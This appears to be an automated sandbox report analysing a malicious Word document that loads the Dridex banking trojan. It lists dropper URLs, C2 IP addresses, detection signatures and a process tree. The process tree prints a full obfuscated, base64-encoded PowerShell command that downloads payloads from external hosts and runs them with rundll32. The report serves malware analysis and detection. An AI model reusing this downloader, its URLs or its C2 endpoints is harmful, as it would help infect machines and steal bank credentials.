Overview

overview

10

Static

static

8

Sept29-2020.doc

windows7_x64

10

Sept29-2020.doc

windows10_x64

10

Analysis

  • max time kernel
    75s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29/09/2020, 15:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Sept29-2020.doc
  • Size 100KB
  • Sample200929-3b59fn2ffj
  • SHA256 76b1e67c05fb015acfb6387b20b3db04968ebdfb3ec9cbc0bd9885053a9f43b7
  • MD5 SHA1 SHA512
Score
10/10
dridex10555botnetdiscoveryevasionloadertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://kazanagroceryandgifts.com/l1vjebjq.rar
  • exe.dropper

    https://pumppazh.com/px9cb1l.rar
  • exe.dropper

    https://latest.sowilo.co.za/swgcregeb.rar
  • exe.dropper

    https://aksmusicgroup.com/tfh7f4zs.zip
  • exe.dropper

    https://fit-city.online/z5d13zg.pdf

Extracted

Family

  • dridex

Botnet

  • 10555

C2

  • 67.79.105.174:3786

  • 51.83.96.87:443

  • 192.175.111.212:14043

  • 45.79.226.106:3098

rc4.plain
rc4.plain

Signatures

  • Dridex

    Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.

    botnetdridex
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Dridex Loader 1 IoCs

    Detects Dridex both x86 and x64 loader in memory.

    botnetloader
  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Sept29-2020.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:836
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABYAG4AYgBlAGEAbwBuAD0AKAAoACcAWAAnACsAJwAxADMAJwApACsAKAAnAHMAZAByACcAKwAnADkAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlACcAKwAnAG0AJwApACAAJABFAE4AdgA6AHUAcwBFAFIAcAByAG8ARgBpAEwARQBcAEwAVAAwAGYAVQA1AE8AXABBADEAdABhAGwAaABqAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAFIAaQBUAHkAcABSAGAAbwBgAFQATwBgAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAIAB0ACcAKQArACgAJwBsACcAKwAnAHMAMQAnACkAKwAoACcAMQAnACsAJwAsACAAdABsACcAKQArACcAcwAnACkAOwAkAE4AMgBlADQAZQAyAG0AIAA9ACAAKAAnAE8AJwArACcAZwAnACsAKAAnAHIAdQAnACsAJwB0AG0AdAAwACcAKwAnAHoAJwApACkAOwAkAFUAZABvAGIANABsAHMAPQAoACgAJwBXADIAJwArACcAegBpAGcAJwApACsAJwBiAGYAJwApADsAJABUAGMAMgA0ADQAOABjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHUAJwArACgAJwBQAFkATAB0ACcAKwAnADAAZgAnACsAJwB1ACcAKQArACgAJwA1AG8AdQBQACcAKwAnAFkAQQAnACkAKwAnADEAdAAnACsAJwBhACcAKwAoACcAbABoACcAKwAnAGoAJwArACcAdQBQAFkAJwApACkALgAiAHIARQBQAGAATABgAEEAQwBFACIAKAAoACcAdQAnACsAJwBQAFkAJwApACwAJwBcACcAKQApACsAJABOADIAZQA0AGUAMgBtACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABGADYAYgA4AHoAdAAzAD0AKAAnAE0AJwArACcAZgAxACcAKwAoACcAegB0AHYAJwArACcANgAnACkAKQA7ACQATwBuAHIANQBnADMAaAA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAQgBjAEwAaQBlAG4AVAA7ACQAWgBfADUAawBqAGgAagA9ACgAJwBoAHQAJwArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGsAJwArACgAJwBhAHoAYQAnACsAJwBuACcAKQArACgAJwBhAGcAcgAnACsAJwBvAGMAJwApACsAKAAnAGUAJwArACcAcgB5ACcAKQArACcAYQAnACsAJwBuAGQAJwArACgAJwBnACcAKwAnAGkAZgAnACkAKwAoACcAdAAnACsAJwBzAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGwAJwArACcAMQB2AGoAJwApACsAJwBlACcAKwAnAGIAJwArACcAagBxACcAKwAnAC4AJwArACcAcgBhACcAKwAoACcAcgAqAGgAJwArACcAdAB0ACcAKwAnAHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKQArACcALwBwACcAKwAoACcAdQBtACcAKwAnAHAAJwApACsAJwBwACcAKwAnAGEAegAnACsAKAAnAGgALgBjAG8AbQAnACsAJwAvAHAAeAAnACsAJwA5AGMAYgAnACkAKwAoACcAMQAnACsAJwBsAC4AcgAnACkAKwAoACcAYQByACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAcwA6AC8AJwApACsAJwAvACcAKwAoACcAbABhAHQAJwArACcAZQBzAHQALgAnACkAKwAoACcAcwBvAHcAaQAnACsAJwBsAG8ALgAnACkAKwAnAGMAJwArACgAJwBvAC4AJwArACcAegBhACcAKQArACgAJwAvAHMAdwBnAGMAJwArACcAcgBlAGcAJwArACcAZQAnACkAKwAoACcAYgAuAHIAJwArACcAYQAnACkAKwAnAHIAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AJwArACcAYQAnACkAKwAnAGsAJwArACcAcwAnACsAKAAnAG0AdQBzACcAKwAnAGkAJwArACcAYwBnAHIAJwApACsAKAAnAG8AJwArACcAdQBwACcAKwAnAC4AYwBvAG0AJwArACcALwB0AGYAaAAnACkAKwAnADcAZgAnACsAKAAnADQAegBzAC4AegAnACsAJwBpACcAKwAnAHAAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBmACcAKwAnAGkAdAAnACkAKwAnAC0AYwAnACsAJwBpACcAKwAoACcAdAB5AC4AbwBuACcAKwAnAGwAaQAnACkAKwAoACcAbgBlACcAKwAnAC8AegA1AGQAJwApACsAJwAxADMAJwArACgAJwB6AGcALgAnACsAJwBwACcAKQArACcAZABmACcAKQAuACIAcwBgAHAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABMAGIAdgBrAHoANwA4AD0AKAAoACcAQQBiAHYAZwAnACsAJwBnACcAKwAnAGwAJwApACsAJwBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEANwBvADgAZABzAHIAIABpAG4AIAAkAFoAXwA1AGsAagBoAGoAKQB7AHQAcgB5AHsAJABPAG4AcgA1AGcAMwBoAC4AIgBkAG8AVwBOAGwAYABPAEEAYABEAGYAaQBsAEUAIgAoACQAUQA3AG8AOABkAHMAcgAsACAAJABUAGMAMgA0ADQAOABjACkAOwAkAEsAeQBkAHoAOAAzAGsAPQAoACgAJwBJACcAKwAnADMAdgB5AHcAJwApACsAJwA0AHMAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFQAYwAyADQANAA4AGMAKQAuACIATABFAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYAMQA1ADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAJwArACcAMwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABUAGMAMgA0ADQAOABjACwAMAA7ACQAUAA0AGYAcQA3AGgAbgA9ACgAKAAnAE8AJwArACcANwB5ADAAdgAnACkAKwAnAHEAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAbAA3AHIAZwBnAHkAPQAoACgAJwBJAF8AJwArACcAOQAnACkAKwAoACcAawBqADcAJwArACcAaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASABrAHcAdAA2AF8AdAA9ACgAKAAnAFQAJwArACcAMwBtADgAJwApACsAJwB4AGwAJwArACcAMQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lt0fu5o\A1talhj\Ogrutmt0z.dll 0
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\SysWOW64\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lt0fu5o\A1talhj\Ogrutmt0z.dll 0
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Checks whether UAC is enabled
        PID:1728

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/836-3-0x0000000007070000-0x0000000007270000-memory.dmp
        Download

        memory/836-4-0x0000000007070000-0x0000000007270000-memory.dmp
        Download

        memory/836-5-0x0000000007070000-0x0000000007270000-memory.dmp
        Download

        memory/836-2-0x0000000008B40000-0x0000000008B44000-memory.dmp
        Download

        memory/868-21-0x000007FEF8550000-0x000007FEF87CA000-memory.dmp
        Download

        memory/1576-7-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
        Download

        memory/1576-12-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1576-11-0x000000001B6C0000-0x000000001B6C1000-memory.dmp
        Download

        memory/1576-10-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1576-9-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/1576-8-0x000000001AB40000-0x000000001AB41000-memory.dmp
        Download

        memory/1576-6-0x000007FEE9250000-0x000007FEE9C3C000-memory.dmp
        Download

        memory/1728-20-0x0000000001F80000-0x0000000001FBD000-memory.dmp
        Download